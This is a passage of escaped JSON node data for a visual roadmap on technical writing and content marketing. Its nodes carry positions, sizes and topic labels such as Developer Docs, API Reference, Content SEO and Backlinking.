\"y\": 681.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Structure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 681.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a1ChwDwztjZBi79y38AGa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 734.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Call to Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 734.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8qSL2esjsA3YYuB4d7B9z\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 787.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"References\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 787.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WmOvQYlnedX0QgC5Adeen\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 840.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Crafting Great Titles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 840.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7FGMPztd6ouvqemcGhIol\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 893.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Objectives & Intent\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 893.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UuV51vM2JT_LFFXORSwru\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 946.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"User Persona\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 946.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cnEVPsqZqs9ZdyqmOuLGA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 999.1873120693795\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Style Guides\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 258\n      },\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 999.1873120693795\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O-dZEkmU0tP3dUIUPM6YJ\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1004.4629129969998,\n        \"y\": 787.1873120693793\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Research\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1004.4629129969998,\n        \"y\": 787.1873120693793\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"SX4vL_JEHrwqHdThyqKKO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 968.9629129969998,\n        \"y\": 881.7322780713671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Topic Score\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 968.9629129969998,\n        \"y\": 881.7322780713671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JtFLW5WwH5Ixmnb0qikia\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 968.9629129969998,\n        \"y\": 934.7322780713671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Keyword Volume\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 968.9629129969998,\n        \"y\": 934.7322780713671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"QMehC1tmWPVWaTsiV9sFC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 968.9629129969998,\n        \"y\": 987.7322780713671\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Communities & Forums\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 968.9629129969998,\n        \"y\": 987.7322780713671\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IZqyEqkrBoEfLBwIQwJl6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 968.9629129969998,\n        \"y\": 1040.732278071367\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Search Trends\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264\n      },\n      \"positionAbsolute\": {\n        \"x\": 968.9629129969998,\n        \"y\": 1040.732278071367\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xFMsHYYxC0hLueY9xxART\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 968.9629129969998,\n        \"y\": 1093.732278071367\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Support Request Evaluation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 264,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 264,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 968.9629129969998,\n        \"y\": 1093.732278071367\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 264,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xV8mox1WnSbl2jAGqQpeg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 607.5409442883595,\n        \"y\": 1090.6879511850975\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Types of Technical Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O-dZEkmU0tP3dUIUPM6YJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 254,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 607.5409442883595,\n        \"y\": 1090.6879511850975\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 254,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d9mTdwqx6QWKYO5PA_rDH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 622.0409442883595,\n        \"y\": 890.2642007065986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Product Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": 622.0409442883595,\n        \"y\": 890.2642007065986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UFuMiHtWq1M8dS8547lOp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 622.0409442883595,\n        \"y\": 943.2642007065986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"General Product Prose\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 622.0409442883595,\n        \"y\": 943.2642007065986\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"C-eVVtF6Yabp2a6XvMeh_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 622.0409442883595,\n        \"y\": 996.2642007065986\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"How-to Guides\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 224,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 224\n      },\n      \"positionAbsolute\": {\n        \"x\": 622.0409442883595,\n        \"y\": 996.2642007065986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e8oNoXw1KLY4jDzojIXyk\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1180.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Docs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1180.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"FgyBWRtE34VNqBt_5QhAf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1233.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"User Goals\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1233.3854162300877\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2pNW7wDGih_m73lhGZRg6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1286.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Journey\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1286.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jYhfx6RETFgDulyNqdTBy\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1339.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docs Structure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 193,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 193,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 832.7191176574586,\n        \"y\": 1339.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 193,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"z5_73Q7dWbBd4m_OrdZlH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1030.2384541137067,\n        \"y\": 1180.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Reference\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"e8oNoXw1KLY4jDzojIXyk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1030.2384541137067,\n        \"y\": 1180.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iBBeZopD8SNo7sWTohMim\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1030.2384541137067,\n        \"y\": 1233.8730119790503\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Docs Generation Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FgyBWRtE34VNqBt_5QhAf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1030.2384541137067,\n        \"y\": 1233.8730119790503\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"co-35BsWMrD6PXohpFqba\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1030.2384541137067,\n        \"y\": 1286.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Definitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2pNW7wDGih_m73lhGZRg6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 222,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1030.2384541137067,\n        \"y\": 1286.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"e_bsYrZ0eQqduURg2ybX4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1181.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Help Content\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"e8oNoXw1KLY4jDzojIXyk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1181.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"8fJcJi96Ige6z2PBuTquC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1235.7843582065113\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Troubleshooting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FgyBWRtE34VNqBt_5QhAf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1235.7843582065113\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7w1SjK-LV9SBZJ673eAUd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1288.7843582065113\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Developer Support\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2pNW7wDGih_m73lhGZRg6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1288.7843582065113\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"How-4Re1NhxPLDoshUM-G\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1341.7843582065113\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platform Support\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"jYhfx6RETFgDulyNqdTBy\"\n      },\n      \"zIndex\": 999,\n      \"width\": 194,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 636.0419920403277,\n        \"y\": 1341.7843582065113\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mJ1s5-SGd_tj8y0LLZxYg\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 231.68773827112568,\n        \"y\": 1229.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Content Marketing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 267,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 267\n      },\n      \"positionAbsolute\": {\n        \"x\": 231.68773827112568,\n        \"y\": 1229.3854162300877\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 267,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O1apL6I_g9DQl8VbL3X4W\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.18773827112568,\n        \"y\": 1079.348933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"ICP & Buyer Persona\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.18773827112568,\n        \"y\": 1079.348933004529\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"EhhKxYPtoLztZXBXl3ZGl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 207.18773827112568,\n        \"y\": 1132.348933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Buyer Journey & Content Funnel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 295,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 207.18773827112568,\n        \"y\": 1132.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"-IBL9S4DelIi07w_fmrX3\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 271.6877382711257,\n        \"y\": 1510.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content SEO\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mrqBxsNRl1CQEKtuYSy9F\"\n      },\n      \"zIndex\": 999,\n      \"width\": 187,\n      \"height\": 50,\n      \"style\": {\n        \"width\": 187,\n        \"height\": 50\n      },\n      \"positionAbsolute\": {\n        \"x\": 271.6877382711257,\n        \"y\": 1510.3854162300877\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 187,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"UphVii3y4T_PkRMqFJ4r_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.14341138485645,\n        \"y\": 1430.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Backlinking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"c\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 122,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 208.14341138485645,\n        \"y\": 1430.3854162300877\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eAioe6b7w8pV2Dvawl_fw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 392.1877382711257,\n        \"y\": 1305.348933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Short-tail Keywords\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EmxmGa120msnjywTqqmKX\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.1877382711257,\n        \"y\": 1305.348933004529\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2LAvq7W11WMIubSprlK_l\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 392.1877382711257,\n        \"y\": 1358.348933004529\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Long-Tail Keywords\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3CsG9cxi0gWKkZET0aBRq\"\n      },\n      \"zIndex\": 999,\n      \"width\": 195,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 195,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 392.1877382711257,\n        \"y\": 1358.348933004529\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 195,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"IA6TuXmOZr_-Y3HLHqxp0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 392.1877382711257,\n        \"y\": 1430.3854162300877\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SEO Keywords\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\",\n          \"colorType\": \"h\"\n        },\n        \"oldId\": \"enC9YBYV6zdl4qy2c1dI4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 160,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 160,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 392.1877382711257,\n        \"y\": 1430.3854162300877\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 160,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5dnZe0oCIzb5qGwgI6pwH\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 533.3803672996291,\n        